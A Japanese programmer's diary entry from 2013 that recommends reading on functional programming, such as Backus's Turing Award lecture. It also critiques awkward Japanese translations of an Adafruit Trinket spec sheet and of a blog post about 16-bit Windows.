クロージャやラムダ式を理解していない組込エンジニアが関数型言語を理解するチャレンジングな4冊(+6冊+α) - hdk_embeddedの日記

あと英語しかないものではこちらの紹介を受けました。

ジョン・バッカスのチューリング賞受賞記念講演論文。

関数型言語が何故必要とされるか、についての理解の手助けとして。

"Can Programming be Liberated from the von Neumann Style?"(プログラミングはフォン・ノイマン的スタイルから解放されるか?)

http://www.stanford.edu/class/cs242/readings/backus.pdf

いっぱんに論文のような原典は初出の概念や考え方を述べるため安易な表現で丁寧に書かれてることが多いので書籍よりも
信頼性が高い、という意味だと思ってます。

この論文、翻訳が存在します。 とはいえ入手困難な本に収録されているので図書館にでも行かないと読めないかもしれません。 ACMチューリング賞講演集
ACMチューリング賞講演集 たぶん、bit のどれかの号にもあったと思いますが こっちはさらに難易度お高め。

そしてコメント欄 SCPは訳がひどいので英語を読めるのなら原著で読む方がおすすめ。

検索したら結城さんのツイート発見

■_ 今日の重箱の隅

組み込み技術:電子工作を気軽に楽しむ、Arduino互換の超小型開発ボードが8ドルで登場 - EDN Japan

組み込み技術:電子工作を気軽に楽しむ、Arduino互換の超小型開発ボードが8ドルで登場 - EDN Japan

AdafruitのWebサイトによると、Trinketの主な特徴は次の通りだ。

    AtmelのCPU「ATtiny85」、8Kバイトのフラッシュメモリ、512バイトのSRAM、512バイトのEEPROMを搭載
    内部発振器は8MHz動作だが、ソフトウェアに搭載する場合は、その2倍となる16MHz動作が可能
    GPIOを5つ搭載。うち2つはUSBインタフェースと共有している。残りの3つのI/O端子は、アナログ入力1チャンネルとPMW出力2チャンネルを備える
    I2CとSPIに対応する
    USBブートローダーにはLEDインジケーターが搭載されていて、USBtinyISPとよく似ている。AVRdudeやArduino IDEでプログラムすることが可能
    緑色LEDと赤色LEDを搭載
    ブートローダーを入力したりプログラムを再起動したりするためのリセットボタンを搭載。このため、リセットやアップデートの際にボードを抜き挿しする必要がない
    USBと外部出力(バッテリなど)を自動的に切り替えて駆動
    150mAの出力性能と超低ドロップアウトを備えた、3.3V/5.0Vの電源レギュレーターを搭載。入力電圧は最大16V、電流制限保護などを備える

内部発振器は8MHz動作だが、ソフトウェアに搭載する場合は、その2倍となる16MHz動作が可能ってどゆこと?

Adafruit Trinket - Mini Microcontroller - 5V Logic ID: 1501 - $7.95 : Adafruit Industries, Unique & fun DIY electronics and kits

Here are some useful specifications!

    ATtiny85 on-board, 8K of flash, 512 byte of SRAM, 512 bytes of EEPROM
    Internal oscillator runs at 8MHz, but can be doubled in software for 16MHz
    USB bootloader with a nice LED indicator looks just like a USBtinyISP so you can program it with AVRdude (with a simple config modification) and/or the Arduino IDE (with a few simple config modifications)
    Mini-USB jack for power and/or USB uploading, you can put it in a box or tape it up and use any USB cable for when you want to reprogram.
    We really worked hard on the bootloader process to make it rugged and foolproof, this board wont up and die on you in the middle of a project!
    ~5.25K bytes available for use (2.75K taken for the bootloader)
    Available in both 3V and 5V flavors
    On-board 3.3V or 5.0V power regulator with 150mA output capability and ultra-low dropout. Up to 16V input, reverse-polarity protection, thermal and current-limit protection.
    Power with either USB or external output (such as a battery) - it'll automatically switch over
    On-board green power LED and red pin #1 LED
    Reset button for entering the bootloader or restarting the program. No need to unplug/replug the board every time you want to reset or update!
    5 GPIO - 2 shared with the USB interface. The 3 independent IO pins have 1 analog input and 2 PWM output as well. The 2 shared IO pins have 2 more analog inputs and one more PWM output.
    Hardware I2C / SPI capability for breakout & sensor interfacing.
    Works with many basic Arduino libraries including Adafruit Neopixel!
    Mounting holes! Yeah!
    Really really small

たぶん原文はInternal oscillator runs at 8MHz, but can be doubled in software for 16MHz ですよね。ソフトウェアで二倍の周波数(16MHz)にできるよ。ってのは ハード的にごにょごにょしないでもソフト的な設定でそうできるってことかしらん? なんか違うっぽいな。

他にもアヤシイのがあるけどスルー。

■_

■_

本の虫: ビル・ゲイツ曰く、「俺は飛行機の中でFAT書いたこともあるんだぞ、アホンダラ」 I wrote FAT on an airplane, for heaven's sake - The Old New Thing - Site Home - MSDN Blogs ところどころあれ?となるような翻訳が Code in 16-bit Windows executed out of code segments, each of which could be up to 64KB in size.16-bit Windowsにおけるコードは、コードセグメントの中から実行される、セグメントのサイズは64KBである。 とか。


一つ前へ 2013年10月(上旬)
一つ後へ 2013年10月(下旬)

ホームへ


リンクはご自由にどうぞ

メールの宛先はこちらkbk AT kt DOT rim DOT or DOT jp